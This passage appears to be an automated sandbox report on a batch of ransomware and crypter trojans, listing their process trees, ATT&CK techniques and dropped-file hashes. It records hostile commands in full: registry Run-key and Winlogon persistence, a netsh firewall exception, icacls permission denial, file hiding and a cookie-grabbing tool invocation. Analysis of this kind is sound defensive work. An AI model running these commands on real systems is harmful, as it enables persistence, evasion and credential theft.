- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Generic-de649dbbac2165042cdbd659466f8b8e726cc0d085bfd627e564a440319efdea.exe
    HEUR-Trojan-Ransom.Win32.Generic-de649dbbac2165042cdbd659466f8b8e726cc0d085bfd627e564a440319efdea.exe
    3⤵
    PID:5956
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Stop.gen-c64807b99c0f69113c15fbdbb6c52880c5c1df614eca08280ad294485bcf36d7.exe
    HEUR-Trojan-Ransom.Win32.Stop.gen-c64807b99c0f69113c15fbdbb6c52880c5c1df614eca08280ad294485bcf36d7.exe
    3⤵
    PID:5524
  - - C:\Users\Admin\AppData\Local\Temp\7zS49532F59\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zS49532F59\setup_install.exe"
      4⤵
      PID:5564
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c arnatic_1.exe
        5⤵
        
        PID:5952
      - C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_1.exe
        
        arnatic_1.exe
        6⤵
        
        PID:6404
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6404 -s 1916
        7⤵
        Program crash
        
        PID:6336
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c arnatic_2.exe
        5⤵
        
        PID:1748
      - C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_2.exe
        
        arnatic_2.exe
        6⤵
        
        PID:6420
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6420 -s 380
        7⤵
        Program crash
        
        PID:5940
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c arnatic_3.exe
        5⤵
        
        PID:6116
      - C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_3.exe
        
        arnatic_3.exe
        6⤵
        
        PID:6412
        
        C:\Windows\SysWOW64\rUNdlL32.eXe
        
        "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",getmft
        7⤵
        
        PID:5636
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c arnatic_4.exe
        5⤵
        
        PID:1364
      - C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_4.exe
        
        arnatic_4.exe
        6⤵
        
        PID:6996
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        7⤵
        
        PID:6312
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        7⤵
        
        PID:7024
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c arnatic_5.exe
        5⤵
        
        PID:5064
      - C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_5.exe
        
        arnatic_5.exe
        6⤵
        
        PID:6428
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c arnatic_6.exe
        5⤵
        
        PID:5516
      - C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_6.exe
        
        arnatic_6.exe
        6⤵
        
        PID:6452
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c arnatic_7.exe
        5⤵
        
        PID:364
      - C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_7.exe
        
        arnatic_7.exe
        6⤵
        
        PID:6456
        
        C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_7.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_7.exe
        7⤵
        
        PID:6668
        
        C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_7.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_7.exe
        7⤵
        
        PID:7896
        
        C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_7.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_7.exe
        7⤵
        
        PID:7588
        
        C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_7.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_7.exe
        7⤵
        
        PID:6156
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c arnatic_8.exe
        5⤵
        
        PID:5396
      - C:\Users\Admin\AppData\Local\Temp\7zS49532F59\arnatic_8.exe
        
        arnatic_8.exe
        6⤵
        
        PID:7004
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5564 -s 484
        5⤵
        Program crash
        
        PID:6168
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Stop.gen-cc2d59e5fe1823c860fa7b4996f8b5be24bbc4da15b757ea477ef3864031fac1.exe
    HEUR-Trojan-Ransom.Win32.Stop.gen-cc2d59e5fe1823c860fa7b4996f8b5be24bbc4da15b757ea477ef3864031fac1.exe
    3⤵
    PID:4960
  - - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Stop.gen-cc2d59e5fe1823c860fa7b4996f8b5be24bbc4da15b757ea477ef3864031fac1.exe
      HEUR-Trojan-Ransom.Win32.Stop.gen-cc2d59e5fe1823c860fa7b4996f8b5be24bbc4da15b757ea477ef3864031fac1.exe
      4⤵
      PID:6328
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Users\Admin\AppData\Local\321b0ed3-0705-495f-b8d7-50a422a526c8" /deny *S-1-1-0:(OI)(CI)(DE,DC)
        5⤵
        Modifies file permissions
        
        PID:7952
    - - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Stop.gen-cc2d59e5fe1823c860fa7b4996f8b5be24bbc4da15b757ea477ef3864031fac1.exe
        
        "C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Stop.gen-cc2d59e5fe1823c860fa7b4996f8b5be24bbc4da15b757ea477ef3864031fac1.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        
        PID:6608
      - C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Stop.gen-cc2d59e5fe1823c860fa7b4996f8b5be24bbc4da15b757ea477ef3864031fac1.exe
        
        "C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Stop.gen-cc2d59e5fe1823c860fa7b4996f8b5be24bbc4da15b757ea477ef3864031fac1.exe" --Admin IsNotAutoStart IsNotTask
        6⤵
        
        PID:9384
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-057c923e5566490537ba9a97d880cdfab172c3c329102a4e1955d17a13349f50.exe
    HEUR-Trojan.MSIL.Crypt.gen-057c923e5566490537ba9a97d880cdfab172c3c329102a4e1955d17a13349f50.exe
    3⤵
    PID:6912
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-0b0818a3e82b1653a0160daedf39b18f4dd2a1b41661928451e5a26c4b6392a7.exe
    HEUR-Trojan.MSIL.Crypt.gen-0b0818a3e82b1653a0160daedf39b18f4dd2a1b41661928451e5a26c4b6392a7.exe
    3⤵
    PID:7368
  - - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-0b0818a3e82b1653a0160daedf39b18f4dd2a1b41661928451e5a26c4b6392a7.exe
      "C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-0b0818a3e82b1653a0160daedf39b18f4dd2a1b41661928451e5a26c4b6392a7.exe"
      4⤵
      PID:7980
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-1fa9bed9d75dc028cbd7981fa4152a58a5762deb1a9b67a1d7ea9b8f3fbaf2a3.exe
    HEUR-Trojan.MSIL.Crypt.gen-1fa9bed9d75dc028cbd7981fa4152a58a5762deb1a9b67a1d7ea9b8f3fbaf2a3.exe
    3⤵
    PID:6308
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-29c3861feead5d99c7d2e4c1a50dd6b29f8ca4d8add002ca8028d2f876abbbeb.exe
    HEUR-Trojan.MSIL.Crypt.gen-29c3861feead5d99c7d2e4c1a50dd6b29f8ca4d8add002ca8028d2f876abbbeb.exe
    3⤵
    PID:7752
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-3a21f279c960064cfccdaf1d5baf116ab6a888b235744accba27a1a38b0ec9d6.exe
    HEUR-Trojan.MSIL.Crypt.gen-3a21f279c960064cfccdaf1d5baf116ab6a888b235744accba27a1a38b0ec9d6.exe
    3⤵
    PID:5388
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-54920b6428a47f26167fa633550d0dffb12ec4981ede7f4e7ec9ad08948432f1.exe
    HEUR-Trojan.MSIL.Crypt.gen-54920b6428a47f26167fa633550d0dffb12ec4981ede7f4e7ec9ad08948432f1.exe
    3⤵
    PID:7292
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-62a1d962d59b42f23a64fa0c755658c99330bbbdfa03567cc31ec8e6ac165255.exe
    HEUR-Trojan.MSIL.Crypt.gen-62a1d962d59b42f23a64fa0c755658c99330bbbdfa03567cc31ec8e6ac165255.exe
    3⤵
    PID:1032
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1032 -s 856
      4⤵
      Program crash
      PID:9424
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-63745b9e47b0e4b40164cb99c0335f78bdc880ce3fc668ea56902a0cad19b0df.exe
    HEUR-Trojan.MSIL.Crypt.gen-63745b9e47b0e4b40164cb99c0335f78bdc880ce3fc668ea56902a0cad19b0df.exe
    3⤵
    PID:7664
  - - C:\Users\Admin\AppData\Local\Temp\wind.exe
      "C:\Users\Admin\AppData\Local\Temp\wind.exe"
      4⤵
      PID:8244
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\wind.exe" "wind.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:5844
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-6b15348763895d929ef27e7e014834bb95bc7c5bdf1607dd7c8b0eac3ff45fd4.exe
    HEUR-Trojan.MSIL.Crypt.gen-6b15348763895d929ef27e7e014834bb95bc7c5bdf1607dd7c8b0eac3ff45fd4.exe
    3⤵
    PID:2916
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-6d3e25cfe701bac6f08302a46c7db8029a771c30ff83fe758d04dbaea7c6b971.exe
    HEUR-Trojan.MSIL.Crypt.gen-6d3e25cfe701bac6f08302a46c7db8029a771c30ff83fe758d04dbaea7c6b971.exe
    3⤵
    PID:6608
  - - C:\Users\Admin\RuntimeBroker.exe
      "C:\Users\Admin\RuntimeBroker.exe"
      4⤵
      PID:7700
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-71609c370ed4d3d62069401d753b937faf2dc66c0003409999946f5eb1046816.exe
    HEUR-Trojan.MSIL.Crypt.gen-71609c370ed4d3d62069401d753b937faf2dc66c0003409999946f5eb1046816.exe
    3⤵
    PID:5744
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
      4⤵
      PID:8648
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
        5⤵
        
        PID:9200
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-778a433f0c438f5f4ad261e0c14d350e37f10d8fe4ca7794da84052aa114f94c.exe
    HEUR-Trojan.MSIL.Crypt.gen-778a433f0c438f5f4ad261e0c14d350e37f10d8fe4ca7794da84052aa114f94c.exe
    3⤵
    PID:2104
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-861c62fc1b264801e17d6a61ac6579a3b7d6d39e2f35aec69fc1b8300f42c953.exe
    HEUR-Trojan.MSIL.Crypt.gen-861c62fc1b264801e17d6a61ac6579a3b7d6d39e2f35aec69fc1b8300f42c953.exe
    3⤵
    PID:7704
  - - C:\Windows\Steam.exe
      "C:\Windows\Steam.exe"
      4⤵
      PID:8768
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +h +r +s "C:\Windows\Steam.exe"
      4⤵
      Views/modifies file attributes
      PID:3712
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-95bfcb9ec97978061e11529df66763e557b1594430867ee63cde0f115bbef933.exe
    HEUR-Trojan.MSIL.Crypt.gen-95bfcb9ec97978061e11529df66763e557b1594430867ee63cde0f115bbef933.exe
    3⤵
    PID:7376
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-9ade8e3be001803151f0013e9e36c53ce9b8f7aed9841a8950084e396979b164.exe
    HEUR-Trojan.MSIL.Crypt.gen-9ade8e3be001803151f0013e9e36c53ce9b8f7aed9841a8950084e396979b164.exe
    3⤵
    PID:5176
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-9ae361667dede244ad234a15e0cd652b17a4213c1d80d249aeb7f8dcc1fd71f7.exe
    HEUR-Trojan.MSIL.Crypt.gen-9ae361667dede244ad234a15e0cd652b17a4213c1d80d249aeb7f8dcc1fd71f7.exe
    3⤵
    PID:8216
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-a1e497a85d0c490c223de6debe48544c4670c83e92d409d541da9e4372f3b673.exe
    HEUR-Trojan.MSIL.Crypt.gen-a1e497a85d0c490c223de6debe48544c4670c83e92d409d541da9e4372f3b673.exe
    3⤵
    PID:8596
  - - C:\Windows\SysWOW64\nslookup.exe
      C:\Windows\SysWOW64\nslookup.exe
      4⤵
      PID:8392
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-a4e5b35dfb545696862a74a499546719823828844203cbfc50965b6fd54ed9c4.exe
    HEUR-Trojan.MSIL.Crypt.gen-a4e5b35dfb545696862a74a499546719823828844203cbfc50965b6fd54ed9c4.exe
    3⤵
    PID:8280
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-a5d7dc1f0a8570c6e84fa51e259025a5b09594ba8c11a632ac95df7eed359d5d.exe
    HEUR-Trojan.MSIL.Crypt.gen-a5d7dc1f0a8570c6e84fa51e259025a5b09594ba8c11a632ac95df7eed359d5d.exe
    3⤵
    PID:8196
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "hdgse" /t REG_SZ /d "C:\Users\Admin\Music\opeir.exe"
      4⤵
      PID:9152
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "hdgse" /t REG_SZ /d "C:\Users\Admin\Music\opeir.exe"
        5⤵
        
        PID:9604
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-a8117089f8fed4a9f732895d6068beeb87627bdf08d56196a75929bec02326e6.exe
    HEUR-Trojan.MSIL.Crypt.gen-a8117089f8fed4a9f732895d6068beeb87627bdf08d56196a75929bec02326e6.exe
    3⤵
    PID:8324
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-ac4c879915e9429ce43900b2efd56becc50c842b6d70f2328a3ad40f749c675f.exe
    HEUR-Trojan.MSIL.Crypt.gen-ac4c879915e9429ce43900b2efd56becc50c842b6d70f2328a3ad40f749c675f.exe
    3⤵
    PID:2060
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-ad45ac253fc9225f631605569d57ca7b0c27d53468a9a732963d0f3cf97e14e8.exe
    HEUR-Trojan.MSIL.Crypt.gen-ad45ac253fc9225f631605569d57ca7b0c27d53468a9a732963d0f3cf97e14e8.exe
    3⤵
    PID:8816
  - - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-ad45ac253fc9225f631605569d57ca7b0c27d53468a9a732963d0f3cf97e14e8.exe
      "C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-ad45ac253fc9225f631605569d57ca7b0c27d53468a9a732963d0f3cf97e14e8.exe"
      4⤵
      PID:10236
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-c130ea959e49d716170b04de5e49c97d4bee1e54905a33f22fda80afcef1dd73.exe
    HEUR-Trojan.MSIL.Crypt.gen-c130ea959e49d716170b04de5e49c97d4bee1e54905a33f22fda80afcef1dd73.exe
    3⤵
    PID:5808
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-c5501222fa725c82f0e978d2bfdc1b8435dd7784b21e532531ec2e107077aa5c.exe
    HEUR-Trojan.MSIL.Crypt.gen-c5501222fa725c82f0e978d2bfdc1b8435dd7784b21e532531ec2e107077aa5c.exe
    3⤵
    PID:8800
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-d4cd3c969a24c05c57e7381db22c9ce662a785cfe815372385746967fb75deb7.exe
    HEUR-Trojan.MSIL.Crypt.gen-d4cd3c969a24c05c57e7381db22c9ce662a785cfe815372385746967fb75deb7.exe
    3⤵
    PID:9472
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-d6b9ef1899c1b113371f34db9d306763e20d9dc759fb9975982a53e6a11b1f5b.exe
    HEUR-Trojan.MSIL.Crypt.gen-d6b9ef1899c1b113371f34db9d306763e20d9dc759fb9975982a53e6a11b1f5b.exe
    3⤵
    PID:9752
  - - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-d6b9ef1899c1b113371f34db9d306763e20d9dc759fb9975982a53e6a11b1f5b.exe
      "C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-d6b9ef1899c1b113371f34db9d306763e20d9dc759fb9975982a53e6a11b1f5b.exe"
      4⤵
      PID:7512
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-e819055cd0c4b64408c03b4e6fabc0185c05bc4f6056ce0b98f9fa257371b984.exe
    HEUR-Trojan.MSIL.Crypt.gen-e819055cd0c4b64408c03b4e6fabc0185c05bc4f6056ce0b98f9fa257371b984.exe
    3⤵
    PID:10028
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-e95e2e16abd42f380c142cdbc9b545cdb32076ffebc3021ba5e7503d6e292d35.exe
    HEUR-Trojan.MSIL.Crypt.gen-e95e2e16abd42f380c142cdbc9b545cdb32076ffebc3021ba5e7503d6e292d35.exe
    3⤵
    PID:10228
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-ec6af3530e12f450657a1a54e44580dfd29e32a46d888c694967573b0796f3f2.exe
    HEUR-Trojan.MSIL.Crypt.gen-ec6af3530e12f450657a1a54e44580dfd29e32a46d888c694967573b0796f3f2.exe
    3⤵
    PID:7496
- - C:\Users\Admin\Desktop\00460\HEUR-Trojan.MSIL.Crypt.gen-f716105c9ddf6f05dd9b202e6a0a2064e0ca9a1021407fb1feee6f83512cac9e.exe
    HEUR-Trojan.MSIL.Crypt.gen-f716105c9ddf6f05dd9b202e6a0a2064e0ca9a1021407fb1feee6f83512cac9e.exe
    3⤵
    PID:9940

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3628
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /1
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3580

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2316 -ip 2316
1⤵
PID:5328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5564 -ip 5564
1⤵
PID:1528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
PID:6100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 6200 -ip 6200
1⤵
PID:6552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 5976 -ip 5976
1⤵
PID:6740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 6420 -ip 6420
1⤵
PID:6236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5884

C:\Windows\Microsoft.Net\Framework64\v3.0\WPF\PresentationFontCache.exe
C:\Windows\Microsoft.Net\Framework64\v3.0\WPF\PresentationFontCache.exe
1⤵
PID:7520

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6404 -ip 6404
1⤵
PID:7256

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1032 -ip 1032
1⤵
PID:9496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\7-Zip\7-zip.chm.exe

Filesize
1.8MB

MD5
efe04bc27f7ea8378da4bcbd23a209aa

SHA1
84035c3532a0d198eb400ac40b8600dd54f362a9

SHA256
39634ed473ffe7e278db78fd68c01e99a78723d17cbac188bfbef01f2c4d5ac2

SHA512
ba5936d902192a832e07df5349709b194050e6720b56903dbe40ef99f2d81d5a55f8f95c4ff1d0e78ebf989720eef6d839dbeef5f1b23194149ed8a22bb1f385

Download Submit
C:\RESTORE_FILES_INFO.txt

Filesize
2KB

MD5
cc14d458421d3dacc0a56d415368ec61

SHA1
2161ebf4fbbc69007fd87746fc06ff34bf1d7e2e

SHA256
a1b577dfc61d2cdffc2ec8918b581370b0e11c8b62c1d5ae1543032aa4424823

SHA512
f1a22fe79a8c270ca93c4672759cbd8a7ccc8bd350f3d2fab7b8adb1aeda468008d6ffdbba3322009dfe984c5e4a7a8f50272a98364a1e8202d18d15e06aa0bf

Download Submit
C:\Recovery\readme.txt

Filesize
1KB

MD5
a48d7f2cbc55c406561016d717163111

SHA1
6cbc2ffadf3975cf9c8d24576fa4db9d7c3e9443

SHA256
f6c83d830b9375ec7bb8f3485d5cae945c6bf79d95a3909fb444a8078d081bdd

SHA512
88023e98ebff62ba2e9de1b61a4f20c93c54037ce06977327ebc3474546473ce23ed6211b7a8adebe2f3153be92509c95df3766ff018aa0f5311f6897388530b

Download Submit
C:\Users\Admin\AppData\Local\Comms\UnistoreDB\store.jfm

Filesize
16KB

MD5
78fd5d40c2bb8395dd953e107c230f73

SHA1
07e4adbafa6b1bd75dfc7bd8e12c63ec11733bd0

SHA256
a229d0ab8c78978d807ebae966f89b5f64d70be5d5b6f16ed8073e6e403ec996

SHA512
feece44bdf08aeebca47c904724dd28db4d55166b98aaf258f5d5b403540953b6c375df29efa928779cd4b72c08bee0251b1a382eb5e137a3e4bdb15e631bbff

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Filesize
64KB

MD5
d2fb266b97caff2086bf0fa74eddb6b2

SHA1
2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

SHA256
b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

SHA512
c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

Filesize
4B

MD5
f49655f856acb8884cc0ace29216f511

SHA1
cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

SHA256
7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

SHA512
599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Filesize
944B

MD5
6bd369f7c74a28194c991ed1404da30f

SHA1
0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

SHA256
878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

SHA512
8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS49532F59\setup_install.exe

Filesize
290KB

MD5
406d02580356f58973767d44a36c1ab4

SHA1
e843c74f9034795ca1c9b6f678254bbbe690f11b

SHA256
a582f169c887d3f99836730aea8978680c847f9331a44025c9257eb8fd549b6e

SHA512
943140a3bc411646f1c284f64895c2a9291c5f4682bba98e21fe1fcd36d6745d68f28e5200b379ad3a8150b363ca55d69483fa1772caf7a8435a91f40d3cf4e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Admin7

Filesize
8B

MD5
2ea250f197471ef8e17a6cb4b74fca71

SHA1
30ac7d9bbcc044440bbb9861893089cd6e801c10

SHA256
9dd47315a9e80ff6906f8c55d19780b37f35d68223ce134cd238d3e5d655dd14

SHA512
5d4cf8d2453239685e34dd29405d98a51002cff1eff70db43870c467951e8a264228f76f26232700f437973b924473ef0064ade4f2618bad2c08dda18f585b26

Download Submit
C:\Users\Admin\AppData\Local\Temp\Admin7

Filesize
8B

MD5
ee3933ae94d325f97232c577abefd050

SHA1
02a027132ea65fefad12093593a073e3f67fcd29

SHA256
7b6740263b259d584e59a6e40c642dd5fb76487e7f7495de3c9e57a3eacc9ad9

SHA512
cc596bce4fd15ec3f9fedcc647d0dcc1d39520272d74c3da90143e7d32433f66aa2c5c2f497c64e6a98900a6e7939717bfd29be78982f2a0e6bfd30d938f0c25

Download Submit
C:\Users\Admin\AppData\Local\Temp\Admin7

Filesize
8B

MD5
ae207fb06da3b53f41f7f9cc222277b4

SHA1
d506c02a1c729f5ea3f4bbd5479defa7bb32c6c6

SHA256
a260aabd83d123ccdee95119f086a8700e504cebc1287b577c084e13e639b32d

SHA512
62ba6ad43c981094965c73c5f15b822f4919dd13328c71402f37a4786b506cc9db6254cf28bd1823be2a362e54b93d7aaa70d2dbbd44e9211da3d927e8e05ddf

Download Submit
C:\Users\Admin\AppData\Local\Temp\Admin7

Filesize
8B

MD5
02f8cf3bbd0db3c310bd899a02ed9d77

SHA1
55e6bad4332ca30184b463a24b445eec355f1019

SHA256
